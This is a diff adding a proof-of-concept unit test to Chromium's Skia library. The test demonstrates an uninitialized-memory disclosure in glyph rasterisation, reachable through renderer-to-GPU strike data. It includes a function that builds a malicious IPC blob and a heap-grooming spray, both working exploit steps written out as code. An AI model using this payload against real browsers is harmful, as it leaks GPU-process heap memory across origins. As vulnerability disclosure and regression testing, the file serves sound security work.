diff --git a/skia/BUILD.gn b/skia/BUILD.gn index 429a7280c7829..17bd4744af016 100644 --- a/skia/BUILD.gn +++ b/skia/BUILD.gn @@ -1217,6 +1217,7 @@ source_set("test_fonts") { test("skia_unittests") { sources = [ + "ext/glyph_uninit_poc_unittest.cc", "ext/codec_utils_unittest.cc", "ext/convolver_unittest.cc", "ext/geometry_unittest.cc", --- /dev/null 2026-05-16 16:51:21.748525266 +0000 +++ b/skia/ext/glyph_uninit_poc_unittest.cc 2026-05-16 17:11:31.929575570 +0000 @@ -0,0 +1,317 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#ifdef UNSAFE_BUFFERS_BUILD +// This is a security POC that intentionally inspects raw byte buffers. +#pragma allow_unsafe_buffers +#pragma allow_unsafe_libc_calls +#endif +// +// Proof-of-concept for an uninitialized-memory disclosure (CWE-908) in +// SkScalerContext::GenerateImageFromPath when invoked with a glyph mask of +// kARGB32_Format. +// +// In release builds, the SkASSERTs at SkScalerContext.cpp:511-513 and +// 646-647 that exclude kARGB32_Format are compiled out. A compromised +// renderer can drive the GPU process into this state via +// SkStrikeClient::readStrikeData by sending: +// - an SkDescriptor whose SkScalerContextRec.fFrameWidth >= 0 (so the +// resulting SkScalerContextProxy sets fGenerateImageFromPath = true), and +// - a path-glyph whose fMaskFormat == kARGB32_Format. +// When the glyph is later rasterised for the atlas, the GPU process calls +// SkGlyph::setImage -> allocImage (4*W*H uninitialized arena bytes) -> +// SkScalerContext::getImage -> GenerateImageFromPath. That function wraps the +// ARGB32 image buffer in an A8 SkPixmap with rowBytes = 4*W and zeroes only +// SkImageInfo::computeByteSize() = (H-1)*4W + W bytes, leaving the trailing +// 3*W bytes of the 4*W*H allocation uninitialized. Those bytes are then +// memcpy'd into the cross-origin glyph-atlas texture. +// +// This file contains two tests: +// 1. CoreLeak - directly demonstrates that GenerateImageFromPath leaves +// the trailing 3*W bytes untouched (deterministic; uses a +// pre-filled magic-pattern buffer that simulates +// uninitialized arena memory). +// 2. RemotePath - demonstrates reachability from renderer-controlled +// readStrikeData input through SkStrike::prepareImages. + +#include +#include +#include + +#include "testing/gtest/include/gtest/gtest.h" + +#include "include/core/SkData.h" +#include "include/core/SkFontMetrics.h" +#include "include/core/SkPath.h" +#include "include/core/SkRect.h" +#include "include/core/SkRefCnt.h" +#include "include/core/SkSerialProcs.h" +#include "include/private/chromium/SkChromeRemoteGlyphCache.h" +#include "src/core/SkDescriptor.h" +#include "src/core/SkFontMetricsPriv.h" +#include "src/core/SkGlyph.h" +#include "src/core/SkMask.h" +#include "src/core/SkScalerContext.h" +#include "src/core/SkStrike.h" +#include "src/core/SkStrikeCache.h" +#include "src/core/SkStrikeSpec.h" +#include "src/core/SkTypeface_remote.h" +#include "src/core/SkWriteBuffer.h" + +namespace { + +// --------------------------------------------------------------------------- +// Helper to reach the protected static SkScalerContext::GenerateImageFromPath. +// This class is never instantiated (SkScalerContext is abstract); we only use +// its static helper. +struct ScalerAccess : public SkScalerContext { + static void Call(SkMaskBuilder& mask, const SkPath& path) { + SkScalerContext::GenerateImageFromPath(mask, path, + SkMaskGamma::PreBlend(), + /*doBGR=*/false, + /*verticalLCD=*/false, + /*a8FromLCD=*/false, + /*hairline=*/false); + } +}; + +constexpr uint8_t kMagic = 0xAB; + +void DumpRegion(const char* label, const uint8_t* p, size_t off, size_t len) { + fprintf(stderr, "[POC] %s bytes [%zu,%zu): ", label, off, off + len); + for (size_t i = 0; i < len && i < 32; ++i) { + fprintf(stderr, "%02x ", p[off + i]); + } + if (len > 32) fprintf(stderr, "..."); + fprintf(stderr, "\n"); +} + +// --------------------------------------------------------------------------- +// Part 1: deterministic core-bug proof. +// +// Reproduces the exact arithmetic from SkScalerContext.cpp:566-578 by handing +// GenerateImageFromPath a pre-filled "uninitialized" 4*W*H buffer with +// kARGB32_Format. After the call, the trailing 3*W bytes still contain the +// magic pattern, proving they were never zeroed or overwritten. +TEST(GlyphUninitPOC, CoreLeak) { + constexpr int W = 64; + constexpr int H = 4; + constexpr size_t kRowBytes = 4u * W; // ARGB32 rowBytes + constexpr size_t kImageSize = kRowBytes * H; // = 1024 + constexpr size_t kZeroed = (H - 1) * kRowBytes + W; // = 832 + constexpr size_t kLeak = kImageSize - kZeroed; // = 192 (== 3*W) + + // Simulate the uninitialized SkArenaAlloc bytes that allocImage() returns. + std::vector buf(kImageSize, kMagic); + + // Any non-empty path; bounds are translated to the mask origin. Keep it tiny + // so drawPath only touches the first A8 column of each row at most. + SkPath path = SkPath::Rect(SkRect::MakeXYWH(0, 0, 1, 1)); + + SkMaskBuilder mask(buf.data(), SkIRect::MakeWH(W, H), kRowBytes, + SkMask::kARGB32_Format); + ScalerAccess::Call(mask, path); + + // Count how many of the trailing 3*W bytes still hold the pre-fill pattern. + size_t survived = 0; + for (size_t i = kZeroed; i < kImageSize; ++i) { + if (buf[i] == kMagic) ++survived; + } + // The byte just before the leak window must have been zeroed by sk_bzero. + const uint8_t boundary_before = buf[kZeroed - 1]; + + fprintf(stderr, + "[POC] CoreLeak: imageSize=%zu zeroed=%zu leakWindow=%zu " + "magicSurvived=%zu boundaryBeforeLeak=0x%02x\n", + kImageSize, kZeroed, kLeak, survived, boundary_before); + DumpRegion("CoreLeak trailing", buf.data(), kZeroed, kLeak); + + // sk_bzero cleared up to (and including) byte kZeroed-1. + EXPECT_EQ(0u, boundary_before); + // VULNERABILITY: every byte in [kZeroed, kImageSize) is still 0xAB. + EXPECT_EQ(0u, survived) + << "CWE-908 CONFIRMED: GenerateImageFromPath(kARGB32_Format) left " + << survived << " of " << kLeak + << " trailing bytes uninitialized (== 3*W)."; +} + +// --------------------------------------------------------------------------- +// Part 2: full remote-glyph-cache reachability proof. +// +// Builds the exact wire format that a compromised renderer would send to the +// GPU process via gpu::ServiceFontManager::Deserialize -> +// SkStrikeClient::readStrikeData. The crafted descriptor has fFrameWidth = 0 +// so the GPU-side SkScalerContextProxy sets fGenerateImageFromPath = true, and +// the crafted glyph has fMaskFormat = kARGB32_Format with a non-empty path but +// no image. We then trigger the GPU-side rasterisation path +// (SkStrike::prepareImages, the same call made by GlyphData::regenerateAtlas) +// and inspect the resulting glyph image buffer. +// +// To make the uninitialized bytes observable without MSAN we run with +// ASAN_OPTIONS=max_malloc_fill_size=1048576 so that SkArenaAlloc's +// sk_malloc_throw'd block is filled with the ASAN malloc_fill_byte (0xbe), +// which then appears verbatim in the trailing 3*W bytes of the glyph image. + +class FakeDHM : public SkStrikeClient::DiscardableHandleManager { + public: + bool deleteHandle(SkDiscardableHandleId) override { return false; } + void notifyCacheMiss(SkStrikeClient::CacheMissType, int) override {} +}; + +constexpr int kW = 200; +constexpr int kH = 4; +constexpr SkTypefaceID kServerTypefaceID = 0x65000000u; +constexpr uint32_t kPackedGlyphID = 0x42u; + +sk_sp BuildMaliciousStrikeData() { + SkBinaryWriteBuffer buffer{nullptr, 0, SkSerialProcs{}}; + + // --- typefaces --- + buffer.writeInt(1); // typefaceCount + // SkTypefaceProxyPrototype::flatten layout: + buffer.writeUInt(kServerTypefaceID); // server typeface ID + buffer.writeInt(256); // glyphCount + buffer.write32(0); // styleValue + buffer.writeBool(false); // isFixedPitch + buffer.writeBool(false); // glyphMaskNeedsCurrentColor + + // --- strikes --- + buffer.writeInt(1); // strikeCount + buffer.writeUInt(kServerTypefaceID); // serverTypefaceID + buffer.writeUInt(1); // discardableHandleID + + // SkDescriptor with one kRec entry whose fFrameWidth == 0. + { + SkScalerContextRec rec; + std::memset(&rec, 0, sizeof(rec)); + rec.fTypefaceID = kServerTypefaceID; + rec.fTextSize = 16.0f; + rec.fPreScaleX = 1.0f; + rec.fPreSkewX = 0.0f; + rec.fPost2x2[0][0] = 1.0f; + rec.fPost2x2[1][1] = 1.0f; + rec.fFrameWidth = 0.0f; // *** triggers fGenerateImageFromPath + rec.fMiterLimit = 0.0f; + rec.fMaskFormat = SkMask::kA8_Format; + SkAutoDescriptor ad{SkDescriptor::ComputeOverhead(1) + sizeof(rec)}; + SkDescriptor* desc = ad.getDesc(); + desc->addEntry(kRec_SkDescriptorTag, sizeof(rec), &rec); + desc->computeChecksum(); + desc->flatten(buffer); + } + + buffer.writeBool(false); // fontMetricsInitialized == false -> metrics follow + { + SkFontMetrics fm; + std::memset(&fm, 0, sizeof(fm)); + SkFontMetricsPriv::Flatten(buffer, fm); + } + + // SkStrike::mergeFromBuffer layout: imagesCount, [images], pathsCount, + // [paths], drawablesCount, [drawables]. + buffer.writeInt(0); // imagesCount + + buffer.writeInt(1); // pathsCount + // SkGlyph::flattenMetrics layout: + buffer.writeUInt(kPackedGlyphID); // packed ID + buffer.writePoint(SkPoint::Make(static_cast(kW), 0.0f)); // advance + buffer.writeUInt((static_cast(kW) << 16) | kH); // dims + buffer.writeUInt(0); // left|top + buffer.writeUInt(static_cast(SkMask::kARGB32_Format)); + // SkGlyph::flattenPath layout: + buffer.writeBool(true); // hasPath + buffer.writeBool(false); // pathIsHairline + buffer.writeBool(false); // pathIsModified + buffer.writePath(SkPath::Rect(SkRect::MakeXYWH(0, 0, 1, 1))); + + buffer.writeInt(0); // drawablesCount + + return buffer.snapshotAsData(); +} + +TEST(GlyphUninitPOC, RemotePath) { + // (a) Heap-groom: under ASAN, freshly malloc'd memory is filled with + // malloc_fill_byte (default 0xbe) up to max_malloc_fill_size. Run this + // test with ASAN_OPTIONS=max_malloc_fill_size=1048576 so the entire + // SkArenaAlloc block is patterned. Without ASAN, spray the heap so the + // reused block contains a recognisable pattern. +#if !defined(ADDRESS_SANITIZER) + for (int i = 0; i < 32; ++i) { + void* p = malloc(8192); + std::memset(p, kMagic, 8192); + free(p); + } +#endif + + // (b) Renderer-side: craft the strike-data IPC blob. + sk_sp blob = BuildMaliciousStrikeData(); + ASSERT_TRUE(blob); + fprintf(stderr, "[POC] RemotePath: crafted strike blob = %zu bytes\n", + blob->size()); + + // (c) GPU-side: deserialize exactly as ServiceFontManager does. + SkStrikeCache cache; + auto dhm = sk_make_sp(); + SkStrikeClient client(dhm, /*isLogging=*/false, &cache); + ASSERT_TRUE(client.readStrikeData(blob->data(), blob->size())) + << "readStrikeData rejected crafted blob"; + + // (d) Reconstruct the GPU-side descriptor (typeface ID rewritten by + // translateTypefaceID) and look up the strike. + SkScalerContextRec rec; + std::memset(&rec, 0, sizeof(rec)); + rec.fTypefaceID = kServerTypefaceID; + rec.fTextSize = 16.0f; + rec.fPreScaleX = 1.0f; + rec.fPost2x2[0][0] = 1.0f; + rec.fPost2x2[1][1] = 1.0f; + rec.fFrameWidth = 0.0f; + rec.fMaskFormat = SkMask::kA8_Format; + SkAutoDescriptor ad{SkDescriptor::ComputeOverhead(1) + sizeof(rec)}; + ad.getDesc()->addEntry(kRec_SkDescriptorTag, sizeof(rec), &rec); + ad.getDesc()->computeChecksum(); + ASSERT_TRUE(client.translateTypefaceID(&ad)); + sk_sp strike = cache.findStrike(*ad.getDesc()); + ASSERT_TRUE(strike) << "GPU-side strike not found in cache"; + + // (e) Trigger SkStrike::prepareImages -> SkGlyph::setImage -> + // allocImage(4*W*H uninitialized arena bytes) -> + // SkScalerContextProxy::getImage -> GenerateImageFromPath(kARGB32). + SkPackedGlyphID id{kPackedGlyphID}; + const SkGlyph* result = nullptr; + strike->prepareImages(SkSpan(&id, 1), &result); + ASSERT_TRUE(result); + ASSERT_TRUE(result->image()); + ASSERT_EQ(SkMask::kARGB32_Format, result->maskFormat()); + ASSERT_EQ(kW, result->width()); + ASSERT_EQ(kH, result->height()); + + const size_t image_size = result->imageSize(); // 4*W*H + const size_t row_bytes = result->rowBytes(); // 4*W + const size_t zeroed = (kH - 1) * row_bytes + kW; // computeByteSize(A8) + ASSERT_EQ(4u * kW * kH, image_size); + ASSERT_EQ(4u * kW, row_bytes); + + const uint8_t* img = static_cast(result->image()); + size_t nonzero = 0; + for (size_t i = zeroed; i < image_size; ++i) { + if (img[i] != 0) ++nonzero; + } + fprintf(stderr, + "[POC] RemotePath: imageSize=%zu zeroed=%zu leakWindow=%zu " + "nonzeroLeakedBytes=%zu\n", + image_size, zeroed, image_size - zeroed, nonzero); + DumpRegion("RemotePath trailing", img, zeroed, image_size - zeroed); + + // sk_bzero cleared up to byte `zeroed-1`; verify the boundary. + EXPECT_EQ(0u, img[zeroed - 1]); + // VULNERABILITY: trailing 3*W bytes are uninitialized arena heap. Under + // ASAN they appear as the malloc_fill_byte pattern (0xbe). + EXPECT_EQ(0u, nonzero) + << "CWE-908 CONFIRMED via remote-glyph-cache path: " << nonzero + << " of " << (image_size - zeroed) + << " trailing glyph-image bytes contain uninitialized GPU-process heap."; +} + +} // namespace